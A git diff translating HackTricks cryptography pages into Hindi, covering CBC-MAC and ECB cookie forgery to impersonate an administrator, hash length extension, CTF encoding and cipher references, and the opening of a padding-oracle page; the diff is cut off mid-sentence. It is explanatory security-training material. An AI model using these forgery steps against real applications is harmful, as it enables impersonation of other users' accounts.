+3. कुकी को s32 पर सेट करें और यह उपयोगकर्ता **Administrator** के लिए एक मान्य कुकी होगी। # Attack Controlling IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +यदि आप उपयोग किए गए IV को नियंत्रित कर सकते हैं तो हमला बहुत आसान हो सकता है।\ +यदि कुकी केवल उपयोगकर्ता नाम एन्क्रिप्टेड है, तो उपयोगकर्ता "**administrator**" का अनुकरण करने के लिए आप उपयोगकर्ता "**Administrator**" बना सकते हैं और आपको इसकी कुकी मिल जाएगी।\ +अब, यदि आप IV को नियंत्रित कर सकते हैं, तो आप IV के पहले बाइट को बदल सकते हैं ताकि **IV\[0] XOR "A" == IV'\[0] XOR "a"** और उपयोगकर्ता **Administrator** के लिए कुकी को फिर से उत्पन्न कर सकें। यह कुकी **administrator** उपयोगकर्ता का अनुकरण करने के लिए मान्य होगी, प्रारंभिक **IV** के साथ। ## References -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +अधिक जानकारी के लिए [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index bb2b5f049..3cad7abcf 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Google it**_ +- _**गूगल करें**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -19,13 +19,13 @@ ## Magic Autosolvers - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (जादुई मॉड्यूल) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) ## Encoders -Most of encoded data can be decoded with these 2 ressources: +अधिकांश एन्कोडेड डेटा को इन 2 संसाधनों के साथ डिकोड किया जा सकता है: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - बहुत अच्छा ! #### Caesar - ROTx Autosolvers @@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +इन सभी बेसों की जांच करें: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 मृत: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 मृत: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Morse - +### मोर्स ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 मृत: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) -### BinHex - +### बिनहैक्स ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### ड्वोरक कीबोर्ड ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +अक्षरों को उनके संख्यात्मक मान में बदलना ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` - ### Affine Cipher Encode -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +अक्षर को संख्या `(ax+b)%26` (_a_ और _b_ कुंजी हैं और _x_ अक्षर है) और परिणाम को फिर से अक्षर में बदलें ``` krodfdudfrod ``` +### SMS कोड -### SMS Code +**Multitap** [एक अक्षर को बदलता है](https://www.dcode.fr/word-letter-change) द्वारा बार-बार दिए गए अंकों के साथ जो मोबाइल [फोन कीपैड](https://www.dcode.fr/phone-keypad-cipher) पर संबंधित कुंजी कोड द्वारा परिभाषित होते हैं (यह मोड SMS लिखते समय उपयोग किया जाता है)।\ +उदाहरण के लिए: 2=A, 22=B, 222=C, 3=D...\ +आप इस कोड की पहचान कर सकते हैं क्योंकि आप\*\* कई अंकों को दोहराते हुए देखेंगे\*\*। -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +आप इस कोड को डिकोड कर सकते हैं: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### बेकन कोड +प्रत्येक अक्षर को 4 A या B (या 1s और 0s) के लिए प्रतिस्थापित करें ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) ## Compression -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** और **Raw Inflate** (आप दोनों को Cyberchef में पा सकते हैं) डेटा को बिना हेडर के संकुचित और असंकुचित कर सकते हैं। ## Easy Crypto @@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -A keywork is needed - +एक कुंजीशब्द की आवश्यकता है ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +एक कुंजी शब्द की आवश्यकता है ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## मजबूत क्रिप्टो -### Fernet - -2 base64 strings (token and key) +### फर्नेट +2 base64 स्ट्रिंग (टोकन और कुंजी) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### समीर गुप्त साझाकरण +एक गुप्त को X भागों में विभाजित किया जाता है और इसे पुनर्प्राप्त करने के लिए आपको Y भागों की आवश्यकता होती है (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### OpenSSL ब्रूट-फोर्स - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## उपकरण - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md index a09798b1e..36283b0eb 100644 --- a/src/cryptography/electronic-code-book-ecb.md +++ b/src/cryptography/electronic-code-book-ecb.md @@ -2,70 +2,64 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) इलेक्ट्रॉनिक कोड बुक - सममित एन्क्रिप्शन योजना जो **स्पष्ट पाठ के प्रत्येक ब्लॉक** को **साइफर टेक्स्ट के ब्लॉक** से **बदलती है**। यह **सबसे सरल** एन्क्रिप्शन योजना है। मुख्य विचार यह है कि **स्पष्ट पाठ को N बिट्स के ब्लॉकों में विभाजित** किया जाए (यह इनपुट डेटा के ब्लॉक के आकार, एन्क्रिप्शन एल्गोरिदम पर निर्भर करता है) और फिर केवल एक कुंजी का उपयोग करके प्रत्येक स्पष्ट पाठ के ब्लॉक को एन्क्रिप्ट (डिक्रिप्ट) किया जाए। ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +ECB का उपयोग करने के कई सुरक्षा निहितार्थ हैं: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **एन्क्रिप्टेड संदेश के ब्लॉक को हटाया जा सकता है** +- **एन्क्रिप्टेड संदेश के ब्लॉक को इधर-उधर किया जा सकता है** -# Detection of the vulnerability +# कमजोरियों का पता लगाना -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +कल्पना करें कि आप एक एप्लिकेशन में कई बार लॉगिन करते हैं और आपको **हमेशा वही कुकी मिलती है**। इसका कारण यह है कि एप्लिकेशन की कुकी **`|`** है।\ +फिर, आप दो नए उपयोगकर्ताओं को उत्पन्न करते हैं, दोनों के पास **एक ही लंबा पासवर्ड** और **लगभग** वही **उपयोगकर्ता नाम** है।\ +आप पाते हैं कि **8B के ब्लॉक** जहां **दोनों उपयोगकर्ताओं की जानकारी** समान है, वे **बराबर** हैं। फिर, आप कल्पना करते हैं कि यह **ECB के उपयोग** के कारण हो सकता है। +जैसे कि निम्नलिखित उदाहरण में। देखें कि ये **2 डिकोडेड कुकीज़** कई बार ब्लॉक **`\x23U\xE45K\xCB\x21\xC8`** है। ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +यह इसलिए है क्योंकि **उन कुकीज़ का उपयोगकर्ता नाम और पासवर्ड कई बार "a" अक्षर को शामिल करते हैं** (उदाहरण के लिए)। **विभिन्न** **ब्लॉक** वे हैं जो **कम से कम 1 विभिन्न अक्षर** (शायद विभाजक "|" या उपयोगकर्ता नाम में कुछ आवश्यक अंतर) को शामिल करते हैं। -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +अब, हमलावर को केवल यह पता लगाने की आवश्यकता है कि प्रारूप `` है या ``। ऐसा करने के लिए, वह बस **कई उपयोगकर्ता नाम उत्पन्न कर सकता है** जिनमें **समान और लंबे उपयोगकर्ता नाम और पासवर्ड हैं जब तक कि वह प्रारूप और विभाजक की लंबाई नहीं खोज लेता:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| उपयोगकर्ता नाम की लंबाई: | पासवर्ड की लंबाई: | उपयोगकर्ता नाम+पासवर्ड की लंबाई: | कुकी की लंबाई (डिकोड करने के बाद): | +| ------------------------- | ------------------ | ------------------------------- | ----------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# भेद्यता का शोषण -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## पूरे ब्लॉकों को हटाना +कुकी के प्रारूप को जानकर (`|`), उपयोगकर्ता नाम `admin` की नकल करने के लिए एक नया उपयोगकर्ता बनाएं जिसका नाम `aaaaaaaaadmin` हो और कुकी प्राप्त करें और इसे डिकोड करें: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +हम पहले देख सकते हैं पैटर्न `\x23U\xE45K\xCB\x21\xC8` जो पहले उस उपयोगकर्ता नाम के साथ बनाया गया था जिसमें केवल `a` था।\ +फिर, आप 8B का पहला ब्लॉक हटा सकते हैं और आपको उपयोगकर्ता नाम `admin` के लिए एक मान्य कुकी मिलेगी: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - ## Moving blocks -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +कई डेटाबेस में `WHERE username='admin';` या `WHERE username='admin ';` के लिए खोज करना समान है। _(अतिरिक्त स्पेस पर ध्यान दें)_ -So, another way to impersonate the user `admin` would be to: +तो, उपयोगकर्ता `admin` की नकल करने का एक और तरीका होगा: -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +- एक उपयोगकर्ता नाम उत्पन्न करें जो: `len() + len(` 8Bs के 2 ब्लॉकों का निर्माण करेगा। +- फिर, एक पासवर्ड उत्पन्न करें जो उस सटीक संख्या के ब्लॉकों को भरेगा जिसमें वह उपयोगकर्ता नाम होगा जिसे हम नकल करना चाहते हैं और स्पेस, जैसे: `admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +इस उपयोगकर्ता का कुकी 3 ब्लॉकों से बना होगा: पहले 2 उपयोगकर्ता नाम + डिलिमिटर के ब्लॉक और तीसरा पासवर्ड (जो उपयोगकर्ता नाम की नकल कर रहा है): `username |admin ` -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** +**फिर, बस पहले ब्लॉक को अंतिम समय के साथ बदलें और आप उपयोगकर्ता `admin` की नकल कर रहे होंगे: `admin |username`** ## References diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 837cedd01..82db7110c 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -1,36 +1,36 @@ {{#include ../banners/hacktricks-training.md}} -# Summary of the attack +# हमले का सारांश -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +कल्पना करें कि एक सर्वर कुछ **डेटा** को **साइन** कर रहा है, जिसमें कुछ ज्ञात स्पष्ट पाठ डेटा के साथ एक **गुप्त** को **जोड़ना** और फिर उस डेटा का हैश बनाना शामिल है। यदि आप जानते हैं: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **गुप्त की लंबाई** (इसे दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) +- **स्पष्ट पाठ डेटा** +- **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)** +- **पैडिंग ज्ञात है** +- आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है +- पैडिंग गुप्त+डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता होती है -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक मान्य **हस्ताक्षर** **जनरेट** करना संभव है। -## How? +## कैसे? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक का हैश** बनाकर हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसका हैश बनाते हैं**। -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +फिर, कल्पना करें कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\ +यदि एक हमलावर "append" स्ट्रिंग को जोड़ना चाहता है, तो वह कर सकता है: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- 64 "A"s का MD5 जनरेट करें +- पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें +- "append" स्ट्रिंग को जोड़ें +- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **मान्य** होगा -## **Tool** +## **उपकरण** {% embed url="https://github.com/iagox86/hash_extender" %} -## References +## संदर्भ -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +आप इस हमले को अच्छी तरह से समझा हुआ [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) पर पा सकते हैं {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md index 499b42d4b..e4859e09d 100644 --- a/src/cryptography/padding-oracle-priv.md +++ b/src/cryptography/padding-oracle-priv.md @@ -2,26 +2,24 @@
-{% embed url="https://websec.nl/" %} - # CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +CBC मोड में **पिछला एन्क्रिप्टेड ब्लॉक IV के रूप में उपयोग किया जाता है** अगले ब्लॉक के साथ XOR करने के लिए: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +CBC को डिक्रिप्ट करने के लिए **विपरीत** **ऑपरेशंस** किए जाते हैं: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +ध्यान दें कि **एन्क्रिप्शन** **की** और **IV** का उपयोग करना आवश्यक है। # Message Padding -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +चूंकि एन्क्रिप्शन **फिक्स्ड** **साइज** **ब्लॉक्स** में किया जाता है, **पैडिंग** आमतौर पर **अंतिम** **ब्लॉक** में इसकी लंबाई को पूरा 